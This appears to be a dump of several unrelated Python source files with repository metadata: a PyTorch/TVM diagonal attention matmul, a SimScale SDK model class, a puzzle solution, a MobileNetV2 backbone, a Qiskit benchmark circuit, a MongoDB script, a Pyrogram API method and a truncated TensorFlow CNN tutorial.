_prepare_tensors(t): '''Fix `stride()` information of input tensor. This addresses some inconsistency in stride information in PyTorch. For a tensor t, if t.size(0) == 1, then the value of t.stride()[0] doesn't matter. TVM expects this value to be the `product(t.size()[1:])` but PyTorch some times sets it to `t.stride()[1]`. Here's an example to reporduce this issue: import torch print(torch.randn(1, 10).stride()) > (10, 1) print(torch.randn(10, 1).t().contiguous().stride()) > (1, 1) # expected it to be (10, 1) as above print(torch.randn(10, 2).t().contiguous().stride()) > (10, 1) # but gets the expected stride if the first dimension is > 1 ''' assert t.is_contiguous() t_stride = list(t.stride()) t_size = list(t.size()) # Fix wrong stride information for the first dimension. This occures when batch_size=1 if t_size[0] == 1 and t_stride[0] == t_stride[1]: # In this case, the stride of the first dimension should be the product # of the sizes of all other dimensions t_stride[0] = t_size[1] * t_size[2] * t_size[3] t = t.as_strided(size=t_size, stride=t_stride) return t min_seq_len = 16 # unexpected output if seq_len < 16 @staticmethod def forward(ctx, t1: torch.Tensor, t2: torch.Tensor, w: int, d: Union[torch.Tensor, int], is_t1_diagonaled: bool = False, padding: int = 0, autoregressive: bool = False) -> torch.Tensor: '''Compuates diagonal_mm of t1 and t2. args: t1: torch.Tensor = (batch_size, seq_len, num_attention_heads, hidden_size|number_of_diagonals). t1 can be a regular tensor (e.g. `query_layer`) or a diagonaled one (e.g. `attention_scores`) t2: torch.Tensor = (batch_size, seq_len, num_attention_heads, hidden_size). This is always a non-diagonaled tensor, e.g. `key_layer` or `value_layer` w: int = window size; number of attentions on each side of the word d: torch.Tensor or int = dilation of attentions per attention head. If int, the same dilation value will be used for all heads. If torch.Tensor, it should be 1D of lenth=number of attention heads is_t1_diagonaled: is t1 a diagonaled or a regular tensor padding: the padding value to use when accessing invalid locations. This is mainly useful when the padding needs to be a very large negative value (to compute softmax of attentions). For other usecases, please use zero padding. autoregressive: if true, return only the lower triangle returns: torch.Tensor = (batch_size, seq_len, num_attention_heads, hidden_size|number_of_diagonals) if t1 is diagonaed, result is non-diagonaled, and vice versa ''' batch_size, seq_len, num_attention_heads, hidden_size = t1.size() assert seq_len >= DiagonaledMM.min_seq_len, 'avoid splitting errors by using seq_len >= {}'.format( DiagonaledMM.min_seq_len) # FIXME ctx.save_for_backward(t1, t2) ctx.w = w ctx.d = d ctx.is_t1_diagonaled = is_t1_diagonaled ctx.autoregressive = autoregressive t1 = DiagonaledMM._prepare_tensors(t1) t2 = DiagonaledMM._prepare_tensors(t2) # output = t1.mm(t2) # what would have been called if this was a regular matmul output = DiagonaledMM._diagonaled_mm(t1, t2, w, d, is_t1_diagonaled=is_t1_diagonaled, padding=padding, autoregressive=autoregressive) return output @staticmethod def backward(ctx, grad_output): t1, t2 = ctx.saved_tensors w = ctx.w d = ctx.d is_t1_diagonaled = ctx.is_t1_diagonaled autoregressive = ctx.autoregressive if not grad_output.is_contiguous(): grad_output = grad_output.contiguous() # tvm requires all input tensors to be contiguous grad_output = DiagonaledMM._prepare_tensors(grad_output) t1 = DiagonaledMM._prepare_tensors(t1) t2 = DiagonaledMM._prepare_tensors(t2) # http://cs231n.github.io/optimization-2/ # https://pytorch.org/docs/master/notes/extending.html # grad_t1 = grad_output.mm(t2) # what would have been called if this was a regular matmul grad_t1 = DiagonaledMM._diagonaled_mm(grad_output, t2, w, d, is_t1_diagonaled=not is_t1_diagonaled, autoregressive=autoregressive) # grad_t2 = grad_output.t().mm(t1) # or `grad_t2 = t1.t().mm(grad_output).t()` because `(AB)^T = B^TA^T` if is_t1_diagonaled: grad_t2 = DiagonaledMM._diagonaled_mm(t1, grad_output, w, d, is_t1_diagonaled=True, transpose_t1=True, autoregressive=autoregressive) else: grad_t2 = DiagonaledMM._diagonaled_mm(grad_output, t1, w, d, is_t1_diagonaled=True, transpose_t1=True, autoregressive=autoregressive) return grad_t1, grad_t2, None, None, None, None, None def _get_invalid_locations_mask_fixed_dilation(seq_len: int, w: int, d: int): diagonals_list = [] for j in range(-d * w, d, d): diagonal_mask = torch.zeros(seq_len, device='cpu', dtype=torch.uint8) diagonal_mask[:-j] = 1 diagonals_list.append(diagonal_mask) return torch.stack(diagonals_list, dim=-1).cuda() @lru_cache() def _get_invalid_locations_mask(w: int, d: Union[torch.Tensor, int], autoregressive: bool, device: str): if isinstance(d, int): affected_seq_len = w * d mask = _get_invalid_locations_mask_fixed_dilation(affected_seq_len, w, d) mask = mask[None, :, None, :] else: affected_seq_len = w * d.max() head_masks = [] d_list = d.cpu().numpy().tolist() for d in d_list: one_head_mask = _get_invalid_locations_mask_fixed_dilation(affected_seq_len, w, d) head_masks.append(one_head_mask) mask = torch.stack(head_masks, dim=-2) mask = mask[None, :, :, :] ending_mask = None if autoregressive else mask.flip(dims=(1, 3)).bool().to(device) return affected_seq_len, mask.bool().to(device), ending_mask def mask_invalid_locations(input_tensor: torch.Tensor, w: int, d: Union[torch.Tensor, int], autoregressive: bool) -> torch.Tensor: affected_seq_len, beginning_mask, ending_mask = _get_invalid_locations_mask(w, d, autoregressive, input_tensor.device) seq_len = input_tensor.size(1) beginning_input = input_tensor[:, :affected_seq_len, :, :w + 1] beginning_mask = beginning_mask[:, :seq_len].expand(beginning_input.size()) beginning_input.masked_fill_(beginning_mask, -float('inf')) if not autoregressive: ending_input = input_tensor[:, -affected_seq_len:, :, -(w + 1):] ending_mask = ending_mask[:, -seq_len:].expand(ending_input.size()) ending_input.masked_fill_(ending_mask, -float('inf')) diagonaled_mm = DiagonaledMM.apply # The non-tvm implementation is the default, we don't need to load the kernel at loading time. # DiagonaledMM._get_function('float32', 'cuda')
3e163d3f7184f533ac5ac44fb4d0b92ce5ed07a3
30cffb7452220c2ac2961dd2e0f42e3b359a59c0
/simscale_sdk/models/volume_heat_flux_bc.py
4c19bc6fa2fc9b31e93ea47336624efae4391462
[ "MIT" ]
permissive
vpurcarea/simscale-python-sdk
0bf892d8824f8d4599caa0f345d5ba28e038f5eb
6f2d12b2d21142bd854042c0fb402c2c797629e4
refs/heads/master
2023-03-14T04:31:06.226337
2021-03-03T16:20:01
2021-03-03T16:20:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,793
py
# coding: utf-8 """ SimScale API The version of the OpenAPI document: 0.0.0 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from simscale_sdk.configuration import Configuration class VolumeHeatFluxBC(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'type': 'str', 'name': 'str', 'heatflux_value': 'DimensionalFunctionVolumetricPower', 'topological_reference': 'TopologicalReference' } attribute_map = { 'type': 'type', 'name': 'name', 'heatflux_value': 'heatfluxValue', 'topological_reference': 'topologicalReference' } def __init__(self, type='VOLUME_HEAT_FLUX', name=None, heatflux_value=None, topological_reference=None, local_vars_configuration=None): # noqa: E501 """VolumeHeatFluxBC - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._type = None self._name = None self._heatflux_value = None self._topological_reference = None self.discriminator = None self.type = type if name is not None: self.name = name if heatflux_value is not None: self.heatflux_value = heatflux_value if topological_reference is not None: self.topological_reference = topological_reference @property def type(self): """Gets the type of this VolumeHeatFluxBC. # noqa: E501 :return: The type of this VolumeHeatFluxBC. # noqa: E501 :rtype: str """ return self._type @type.setter def type(self, type): """Sets the type of this VolumeHeatFluxBC. :param type: The type of this VolumeHeatFluxBC. # noqa: E501 :type: str """ if self.local_vars_configuration.client_side_validation and type is None: # noqa: E501 raise ValueError("Invalid value for `type`, must not be `None`") # noqa: E501 self._type = type @property def name(self): """Gets the name of this VolumeHeatFluxBC. # noqa: E501 :return: The name of this VolumeHeatFluxBC. # noqa: E501 :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this VolumeHeatFluxBC. :param name: The name of this VolumeHeatFluxBC. # noqa: E501 :type: str """ self._name = name @property def heatflux_value(self): """Gets the heatflux_value of this VolumeHeatFluxBC. # noqa: E501 :return: The heatflux_value of this VolumeHeatFluxBC. # noqa: E501 :rtype: DimensionalFunctionVolumetricPower """ return self._heatflux_value @heatflux_value.setter def heatflux_value(self, heatflux_value): """Sets the heatflux_value of this VolumeHeatFluxBC. :param heatflux_value: The heatflux_value of this VolumeHeatFluxBC. # noqa: E501 :type: DimensionalFunctionVolumetricPower """ self._heatflux_value = heatflux_value @property def topological_reference(self): """Gets the topological_reference of this VolumeHeatFluxBC. # noqa: E501 :return: The topological_reference of this VolumeHeatFluxBC. # noqa: E501 :rtype: TopologicalReference """ return self._topological_reference @topological_reference.setter def topological_reference(self, topological_reference): """Sets the topological_reference of this VolumeHeatFluxBC. :param topological_reference: The topological_reference of this VolumeHeatFluxBC. # noqa: E501 :type: TopologicalReference """ self._topological_reference = topological_reference def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, VolumeHeatFluxBC): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, VolumeHeatFluxBC): return True return self.to_dict() != other.to_dict()
[ "simscale" ]
simscale
495c8590432112853a5e32efd49fc8c474f63fe8
e8a6e0e218ce4bb51388e221e3f072f0a7c952c3
/SendGrid/City's Happiness/mission-backup.py
55013ca4f520219ca865870181a54ef4dc636247
[]
no_license
imtiaz-rahi/Py-CheckiO
34c553f08e2ec7ec3566fb3a0c6da371949470aa
588b8e513b250040a4f1c37cf3c499dbdf2244d8
refs/heads/master
2020-07-04T13:59:10.297822
2019-12-05T15:42:18
2019-12-05T15:42:18
202,305,336
0
0
null
null
null
null
UTF-8
Python
false
false
1,682
py
import collections from itertools import chain def find_dups(data, val): return [k for k, v in data.items() if v == val] def most_crucial(net, users): max_user = max(users, key=users.get) if len(find_dups(users, users[max_user])) == 1: return [max_user] # print(len(users.values()) == len(set(users.values()))) # Create counter of user and their count in net network = collections.Counter([it for sub in net for it in sub]) print(network) # check if multiple user has same count # if not len(network.values()) == len(set(network.values())): # for k, v in network.items(): # network[k] = v * users[k] # print(network) return [max(network, key=network.get)] if __name__ == '__main__': assert most_crucial([ ["A", "B"], ["B", "C"], ["C", "D"] ], { "A": 100, "B": 1, "C": 97, "D": 1}) == ['A'] assert most_crucial([ ['A', 'B'], ['B', 'C'] ], { 'A': 10, 'B': 10, 'C': 10 }) == ['B'], 'First' assert most_crucial([ ['A', 'B'] ], { 'A': 20, 'B': 10 }) == ['A'], 'Second' assert most_crucial([ ['A', 'B'], ['A', 'C'], ['A', 'D'], ['A', 'E'] ], { 'A': 0, 'B': 10, 'C': 10, 'D': 10, 'E': 10 }) == ['A'], 'Third' assert most_crucial([ ['A', 'B'], ['B', 'C'], ['C', 'D'] ], { 'A': 10, 'B': 20, 'C': 10, 'D': 20 }) == ['B'], 'Forth' print('Nobody expected that, but you did it! It is time to share it!')
285b7977f70837a5ab8665312296cfade02c6b14
9f01627911817add0d08a8f77d330802c26bd8f0
/cvpods/modeling/backbone/mobilenet.py
dbaac189f04c8a7905fca6f8cc3d5dcd9052ff77
[ "Apache-2.0" ]
permissive
StevenGrove/LearnableTreeFilterV2
44389a2d471db1716147bedd3fb3d304349d770d
0c85352155ed56dfc6126fc1ebcfec35f16d4375
refs/heads/main
2023-02-19T09:41:56.736387
2020-12-16T07:06:43
2020-12-16T07:06:43
303,635,302
93
8
null
null
null
null
UTF-8
Python
false
false
8,860
py
from copy import deepcopy import numpy as np import torch.nn as nn from cvpods.layers import Conv2d, FrozenBatchNorm2d, ShapeSpec, get_activation, get_norm from cvpods.modeling.backbone import Backbone __all__ = [ "InvertedResBlock", "MobileStem", "MobileNetV2", "build_mobilenetv2_backbone", ] class MobileStem(nn.Module): def __init__(self, input_channels, output_channels, norm, activation): super().__init__() self.input_channels = input_channels self.output_channels = output_channels self.stride = 2 self.conv = Conv2d(input_channels, output_channels, 3, stride=2, padding=1, bias=False, norm=get_norm(norm, output_channels), activation=get_activation(activation)) def forward(self, x): return self.conv(x) def freeze(self): for p in self.parameters(): p.requires_grad = False FrozenBatchNorm2d.convert_frozen_batchnorm(self) return self class InvertedResBlock(nn.Module): def __init__(self, input_channels, output_channels, stride, expand_ratio, norm, activation, use_shortcut=True): super(InvertedResBlock, self).__init__() self.stride = stride assert stride in [1, 2] mid_channels = int(round(input_channels * expand_ratio)) self.use_shortcut = use_shortcut if self.use_shortcut: assert stride == 1 assert input_channels == output_channels conv_kwargs = { "norm": get_norm(norm, mid_channels), "activation": get_activation(activation) } layers = [] if expand_ratio > 1: layers.append( Conv2d(input_channels, mid_channels, 1, bias=False, # Pixel-wise non-linear **deepcopy(conv_kwargs)) ) layers += [ Conv2d(mid_channels, mid_channels, 3, padding=1, bias=False, # Depth-wise 3x3 stride=stride, groups=mid_channels, **deepcopy(conv_kwargs)), Conv2d(mid_channels, output_channels, 1, bias=False, # Pixel-wise linear norm=get_norm(norm, output_channels)) ] self.conv = nn.Sequential(*layers) def forward(self, x): if self.use_shortcut: return x + self.conv(x) else: return self.conv(x) class MobileNetV2(Backbone): def __init__( self, stem, inverted_residual_setting, norm, activation, num_classes=None, out_features=None, init_model=False ): """ MobileNet V2 main class Args: num_classes (int): Number of classes inverted_residual_setting: Network structure """ super(MobileNetV2, self).__init__() self.num_classes = num_classes # only check the first element, assuming user knows t,c,n,s are required if len(inverted_residual_setting[0]) != 4: raise ValueError("inverted_residual_setting should be a " "4-element list, got {}".format(inverted_residual_setting)) self.stem = stem self.last_channel = 1280 input_channels = stem.output_channels current_stride = stem.stride self._out_feature_strides = {"stem": current_stride} self._out_feature_channels = {"stem": input_channels} # ---------------- Stages --------------------- # ext = 0 self.stages_and_names = [] for i, (t, c, n, s) in enumerate(inverted_residual_setting): # t: expand ratio # c: output channels # n: block number # s: stride # See https://arxiv.org/pdf/1801.04381.pdf Table 2 for more details if s == 1 and i > 0: ext += 1 else: ext = 0 current_stride *= s assert int(np.log2(current_stride)) == np.log2(current_stride) name = "mobile" + str(int(np.log2(current_stride))) if ext != 0: name += "-{}".format(ext + 1) stage = nn.Sequential(*make_stage(n, input_channels, c, s, t, norm, activation)) self._out_feature_strides[name] = current_stride self._out_feature_channels[name] = c self.add_module(name, stage) self.stages_and_names.append((stage, name)) input_channels = c name = "mobile" + str(int(np.log2(current_stride))) + "-last" stage = Conv2d(input_channels, self.last_channel, kernel_size=1, bias=False, norm=get_norm("BN", self.last_channel), activation=get_activation(activation)) self.stages_and_names.append((stage, name)) self.add_module(name, stage) self._out_feature_strides[name] = current_stride self._out_feature_channels[name] = self.last_channel # ---------------- Classifer ------------------- # if num_classes is not None: self.avgpool = nn.AdaptiveAvgPool2d((1, 1)) self.dropout = nn.Dropout(0.2) self.classifier = nn.Linear(self.last_channel, num_classes) name = "linear" self._out_features = [name] if out_features is None else out_features if init_model: self._initialize_weights() def forward(self, x): outputs = {} x = self.stem(x) if "stem" in self._out_features: outputs["stem"] = x for stages, name in self.stages_and_names: x = stages(x) if name in self._out_features: outputs[name] = x if self.num_classes is not None: x = self.avgpool(x) x = self.dropout(x) x = x.reshape(-1, self.last_channel) x = self.classifier(x) if "linear" in self._out_features: outputs["linear"] = x return outputs def output_shape(self): return { name: ShapeSpec( channels=self._out_feature_channels[name], stride=self._out_feature_strides[name] ) if name != 'linear' else ShapeSpec( channels=self.num_classes, height=1 ) for name in self._out_features } def freeze(self, freeze_at): if freeze_at >= 1: self.stem.freeze() for i, (stage, _) in enumerate(self.stages_and_names): if (i + 2) > freeze_at: break for p in stage.parameters(): p.requires_grad = False FrozenBatchNorm2d.convert_frozen_batchnorm(stage) def _initialize_weights(self): for name, m in self.named_modules(): if isinstance(m, nn.Conv2d): nn.init.kaiming_normal_(m.weight, mode='fan_out') if m.bias is not None: nn.init.zeros_(m.bias) elif isinstance(m, nn.BatchNorm2d): nn.init.constant_(m.weight, 1) if m.bias is not None: nn.init.constant_(m.bias, 0.0001) nn.init.constant_(m.running_mean, 0) elif isinstance(m, nn.BatchNorm1d): nn.init.constant_(m.weight, 1) if m.bias is not None: nn.init.constant_(m.bias, 0.0001) nn.init.constant_(m.running_mean, 0) elif isinstance(m, nn.Linear): nn.init.normal_(m.weight, 0, 0.01) if m.bias is not None: nn.init.constant_(m.bias, 0) def make_stage(num_blocks, input_channels, output_channels, stride, expand_ratio, norm, activation): blocks = [] blocks.append( InvertedResBlock(input_channels, output_channels, stride=stride, expand_ratio=expand_ratio, norm=norm, activation=activation, use_shortcut=False) ) for i in range(num_blocks - 1): blocks.append( InvertedResBlock(output_channels, output_channels, stride=1, expand_ratio=expand_ratio, norm=norm, activation=activation) ) return blocks def build_mobilenetv2_backbone(cfg, input_shape): stem = MobileStem( input_shape.channels, cfg.MODEL.MOBILENET.STEM_OUT_CHANNELS, cfg.MODEL.MOBILENET.NORM, cfg.MODEL.MOBILENET.ACTIVATION ) model = MobileNetV2( stem, cfg.MODEL.MOBILENET.INVERTED_RESIDUAL_SETTING, cfg.MODEL.MOBILENET.NORM, cfg.MODEL.MOBILENET.ACTIVATION, cfg.MODEL.MOBILENET.NUM_CLASSES, cfg.MODEL.MOBILENET.OUT_FEATURES, cfg.MODEL.MOBILENET.INIT_MODEL, ) model.freeze(cfg.MODEL.BACKBONE.FREEZE_AT) return model
c249268db1786d8cdb7bf00127d40f7646a30e50
09e57dd1374713f06b70d7b37a580130d9bbab0d
/benchmark/startQiskit1903.py
b51d36f8d6e5a86356943e98873a8ade2bd63789
[ "BSD-3-Clause" ]
permissive
UCLA-SEAL/QDiff
ad53650034897abb5941e74539e3aee8edb600ab
d968cbc47fe926b7f88b4adf10490f1edd6f8819
refs/heads/main
2023-08-05T04:52:24.961998
2021-09-19T02:56:16
2021-09-19T02:56:16
405,159,939
2
0
null
null
null
null
UTF-8
Python
false
false
4,833
py
# qubit number=5 # total number=71 import cirq import qiskit from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister from qiskit import BasicAer, execute, transpile from pprint import pprint from qiskit.test.mock import FakeVigo from math import log2,floor, sqrt, pi import numpy as np import networkx as nx def build_oracle(n: int, f) -> QuantumCircuit: # implement the oracle O_f^\pm # NOTE: use U1 gate (P gate) with \lambda = 180 ==> CZ gate # or multi_control_Z_gate (issue #127) controls = QuantumRegister(n, "ofc") oracle = QuantumCircuit(controls, name="Zf") for i in range(2 ** n): rep = np.binary_repr(i, n) if f(rep) == "1": for j in range(n): if rep[j] == "0": oracle.x(controls[j]) # oracle.h(controls[n]) if n >= 2: oracle.mcu1(pi, controls[1:], controls[0]) for j in range(n): if rep[j] == "0": oracle.x(controls[j]) # oracle.barrier() return oracle def make_circuit(n:int,f) -> QuantumCircuit: # circuit begin input_qubit = QuantumRegister(n,"qc") classical = ClassicalRegister(n, "qm") prog = QuantumCircuit(input_qubit, classical) prog.h(input_qubit[0]) # number=3 prog.h(input_qubit[1]) # number=4 prog.h(input_qubit[2]) # number=5 prog.h(input_qubit[1]) # number=29 prog.cz(input_qubit[3],input_qubit[1]) # number=30 prog.h(input_qubit[1]) # number=31 prog.h(input_qubit[3]) # number=6 prog.h(input_qubit[4]) # number=21 Zf = build_oracle(n, f) repeat = floor(sqrt(2 ** n) * pi / 4) for i in range(repeat): prog.append(Zf.to_gate(), [input_qubit[i] for i in range(n)]) prog.h(input_qubit[0]) # number=1 prog.h(input_qubit[1]) # number=2 prog.h(input_qubit[2]) # number=7 prog.h(input_qubit[3]) # number=8 prog.h(input_qubit[0]) # number=38 prog.cz(input_qubit[1],input_qubit[0]) # number=39 prog.h(input_qubit[0]) # number=40 prog.h(input_qubit[0]) # number=51 prog.cz(input_qubit[1],input_qubit[0]) # number=52 prog.h(input_qubit[0]) # number=53 prog.h(input_qubit[0]) # number=64 prog.cz(input_qubit[1],input_qubit[0]) # number=65 prog.h(input_qubit[0]) # number=66 prog.x(input_qubit[0]) # number=49 prog.h(input_qubit[0]) # number=57 prog.cz(input_qubit[1],input_qubit[0]) # number=58 prog.h(input_qubit[0]) # number=59 prog.h(input_qubit[0]) # number=54 prog.cz(input_qubit[1],input_qubit[0]) # number=55 prog.h(input_qubit[0]) # number=56 prog.h(input_qubit[4]) # number=41 prog.h(input_qubit[0]) # number=61 prog.cz(input_qubit[1],input_qubit[0]) # number=62 prog.h(input_qubit[0]) # number=63 prog.cx(input_qubit[0],input_qubit[1]) # number=68 prog.x(input_qubit[1]) # number=69 prog.cx(input_qubit[0],input_qubit[1]) # number=70 prog.h(input_qubit[2]) # number=25 prog.cz(input_qubit[0],input_qubit[2]) # number=26 prog.h(input_qubit[2]) # number=27 prog.x(input_qubit[2]) # number=23 prog.cx(input_qubit[0],input_qubit[2]) # number=24 prog.cx(input_qubit[0],input_qubit[3]) # number=32 prog.x(input_qubit[1]) # number=67 prog.x(input_qubit[3]) # number=33 prog.h(input_qubit[3]) # number=42 prog.cz(input_qubit[0],input_qubit[3]) # number=43 prog.h(input_qubit[3]) # number=44 if n>=2: prog.mcu1(pi,input_qubit[1:],input_qubit[0]) prog.x(input_qubit[0]) # number=13 prog.rx(0.6157521601035993,input_qubit[1]) # number=60 prog.x(input_qubit[1]) # number=14 prog.x(input_qubit[2]) # number=15 prog.x(input_qubit[3]) # number=16 prog.h(input_qubit[0]) # number=17 prog.h(input_qubit[1]) # number=18 prog.h(input_qubit[2]) # number=19 prog.h(input_qubit[3]) # number=20 # circuit end for i in range(n): prog.measure(input_qubit[i], classical[i]) return prog if __name__ == '__main__': key = "00000" f = lambda rep: str(int(rep == key)) prog = make_circuit(5,f) backend = BasicAer.get_backend('qasm_simulator') sample_shot =7924 info = execute(prog, backend=backend, shots=sample_shot).result().get_counts() backend = FakeVigo() circuit1 = transpile(prog,backend,optimization_level=2) writefile = open("../data/startQiskit1903.csv","w") print(info,file=writefile) print("results end", file=writefile) print(circuit1.depth(),file=writefile) print(circuit1,file=writefile) writefile.close()
d9141d1e99e4af79e76fdbd167877c57e8730b0b
eddbf9518e7384f0e9a1d9e19cbe74855c3f24bd
/2017013401_ouyyn/2017013401_mongoDB.py
6b1b3f22a4e98ecb2157c86b25e8007a9244b964
[]
no_license
wanghan79/2019_Python
9d2391d799efd9545b2afb3565bc5c6d542d1d86
f856409af92af3990773966d937d58d9d1cade04
refs/heads/master
2020-05-05T12:54:30.921361
2019-07-20T09:50:03
2019-07-20T09:50:03
180,050,522
11
14
null
2019-07-15T15:00:03
2019-04-08T01:59:24
Python
UTF-8
Python
false
false
1,872
py
import pymongo import urllib import threading from urllib import request """在MongoDB中,定义一个数据库""" myclient = pymongo.MongoClient("mongodb://localhost:27017/") db = myclient.test collection = db['test'] """定义一个MongoDB操作的类""" class mongo_operation(threading.Thread): def __init__(self,num): threading.Thread.__init__(self) self.num = num """将100000条数据存入MongoDB""" def save_into_mongo(filename): f = open(filename, 'r') for i in f.readlines(): db.students.insert({'test':i}) r=mongo_operation(i) r.start() """查询记录总数""" def count(self, table, condition=None): try: self.db[table].count(condition) print('查找成功') except Exception as e: print(e) """插入单条数据""" def insert(self, table, data): try: self.db[table].insert(data) print('插入成功') except Exception as e: print(e) "'按条件删除记录'" def delete(self, table, condition, one=False): try: if one: self.db[table].delete_one(condition) print('删除成功') else: result = self.db[table].delete_many(condition) print('删除成功') return result except Exception as e: print(e) if __name__ == '__main__': mongo_operation.save_into_mongo('random_output.txt')
5ebc086f0d77e202299f3b3be477c9f71d6911c6
0617c812e9bf58a2dbc1c1fef35e497b054ed7e4
/venv/Lib/site-packages/pyrogram/raw/functions/channels/get_participants.py
4421b21274922f390d1e789624cfb6e888760da2
[]
no_license
howei5163/my_framework
32cf510e19a371b6a3a7c80eab53f10a6952f7b2
492c9af4ceaebfe6e87df8425cb21534fbbb0c61
refs/heads/main
2023-01-27T14:33:56.159867
2020-12-07T10:19:33
2020-12-07T10:19:33
306,561,184
1
0
null
null
null
null
UTF-8
Python
false
false
3,167
py
# Pyrogram - Telegram MTProto API Client Library for Python # Copyright (C) 2017-2020 Dan <https://github.com/delivrance> # # This file is part of Pyrogram. # # Pyrogram is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Pyrogram is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with Pyrogram. If not, see <http://www.gnu.org/licenses/>. from io import BytesIO from pyrogram.raw.core.primitives import Int, Long, Int128, Int256, Bool, Bytes, String, Double, Vector from pyrogram.raw.core import TLObject from pyrogram import raw from typing import List, Union, Any # # # # # # # # # # # # # # # # # # # # # # # # # !!! WARNING !!! # # This is a generated file! # # All changes made in this file will be lost! # # # # # # # # # # # # # # # # # # # # # # # # # class GetParticipants(TLObject): # type: ignore """Telegram API method. Details: - Layer: ``117`` - ID: ``0x123e05e9`` Parameters: channel: :obj:`InputChannel <pyrogram.raw.base.InputChannel>` filter: :obj:`ChannelParticipantsFilter <pyrogram.raw.base.ChannelParticipantsFilter>` offset: ``int`` ``32-bit`` limit: ``int`` ``32-bit`` hash: ``int`` ``32-bit`` Returns: :obj:`channels.ChannelParticipants <pyrogram.raw.base.channels.ChannelParticipants>` """ __slots__: List[str] = ["channel", "filter", "offset", "limit", "hash"] ID = 0x123e05e9 QUALNAME = "pyrogram.raw.functions.channels.GetParticipants" def __init__(self, *, channel: "raw.base.InputChannel", filter: "raw.base.ChannelParticipantsFilter", offset: int, limit: int, hash: int) -> None: self.channel = channel # InputChannel self.filter = filter # ChannelParticipantsFilter self.offset = offset # int self.limit = limit # int self.hash = hash # int @staticmethod def read(data: BytesIO, *args: Any) -> "GetParticipants": # No flags channel = TLObject.read(data) filter = TLObject.read(data) offset = Int.read(data) limit = Int.read(data) hash = Int.read(data) return GetParticipants(channel=channel, filter=filter, offset=offset, limit=limit, hash=hash) def write(self) -> bytes: data = BytesIO() data.write(Int(self.ID, False)) # No flags data.write(self.channel.write()) data.write(self.filter.write()) data.write(Int(self.offset)) data.write(Int(self.limit)) data.write(Int(self.hash)) return data.getvalue()
[ "houwei5163" ]
houwei5163
90a609d52ae1e0ba248f43b1f930d8fa6a4f7130
dad9579a08ff0eff8f70f87b29ae5343c969e486
/01.Knowledge-11Tensorflow与深度学习/02.代码实现-05简单卷积网络-01简单卷积神经网络.py
5f80e87abf556112a82c8063d92cb863abbb7bcd
[]
no_license
myboyliu/MachineLearning
cd3caac06d0eba49f4f67dc4d1c00277d5a78260
fa246e4e0e3841ec5e4544d585adbcbf9d60a1f8
refs/heads/master
2021-07-09T19:11:26.222674
2017-08-25T07:38:06
2017-08-25T07:38:06
104,562,647
3
0
null
2017-09-23T11:28:28
2017-09-23T11:28:27
null
UTF-8
Python
false
false
10,436
py
''' 使用mnist数据集, 输入层数据:data = 28 * 18 * 1 卷积层:conv2d = 5 * 5 * 1 - 输出输出:data = 24 * 24 * K(K就是卷积核的个数) 激活层ReLU- 输出数据:data = 24 * 24 * K 池化层:pool2d - MaxPool 2 * 2 步长S=2 输出数据为12 * 12 * K 全连接层-线性 units = 10 输出数据(特征):logits = 1 * 1 * 10(最终需要分10类:0-9) Softmax:计算属于每个分类的概率 ''' import tensorflow as tf import os import csv from tensorflow.examples.tutorials.mnist import input_data os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' learning_rate_init = 0.001 training_epochs = 1 batch_size = 100 display_step = 10 conv1_kernel_num = 16 n_input = 784 n_classes = 10 def WeightsVariable(shape, name_str, stddev = 0.1): initial = tf.random_normal(shape=shape, stddev=stddev, dtype=tf.float32) # initial = tf.truncated_normal(shape, stddev, dtype=tf.float32) return tf.Variable(initial_value=initial, dtype=tf.float32, name=name_str) def BiasesVariable(shape, name_str, stddev=0.00001): initial = tf.random_normal(shape=shape, stddev=stddev, dtype=tf.float32) # initial = tf.constant(stddev, shape=shape) return tf.Variable(initial, dtype=tf.float32, name = name_str) # 卷积层不做降采样 def Conv2d(x, W, b, stride=1, padding='SAME'): with tf.name_scope('Wx_b'): y = tf.nn.conv2d(x, W, strides=[1, stride, stride, 1], padding=padding) y = tf.nn.bias_add(y, b) return y def Activation(x, activation=tf.nn.relu, name='relu'): with tf.name_scope(name): y = activation(x) return y def Pool2d(x, pool = tf.nn.max_pool, k =2, stride=2): return pool(x, ksize=[1, k, k, 1], strides=[1, stride, stride, 1], padding='VALID') def FullyConnected(x, W, b, activate=tf.nn.relu, act_name='relu'): with tf.name_scope('Wx_b'): y = tf.matmul(x, W) y = tf.add(y, b) with tf.name_scope(act_name): y = activate(y) return y def EvaluateModelOnDataset(sess, images, labels): n_samples = images.shape[0] per_batch_size = 100 loss = 0 acc = 0 if (n_samples <= per_batch_size): #样本比较少,一次评估 batch_count = 1 loss, acc = sess.run([cross_entropy_loss, accuracy], feed_dict={X_origin : images, Y_true : labels, learning_rate : learning_rate_init}) else: #样本比较大,分批次评估 batch_count = int(n_samples / per_batch_size) batch_start = 0 for idx in range(batch_count): batch_loss, batch_acc = sess.run([cross_entropy_loss, accuracy], feed_dict={X_origin : images[batch_start:batch_start + 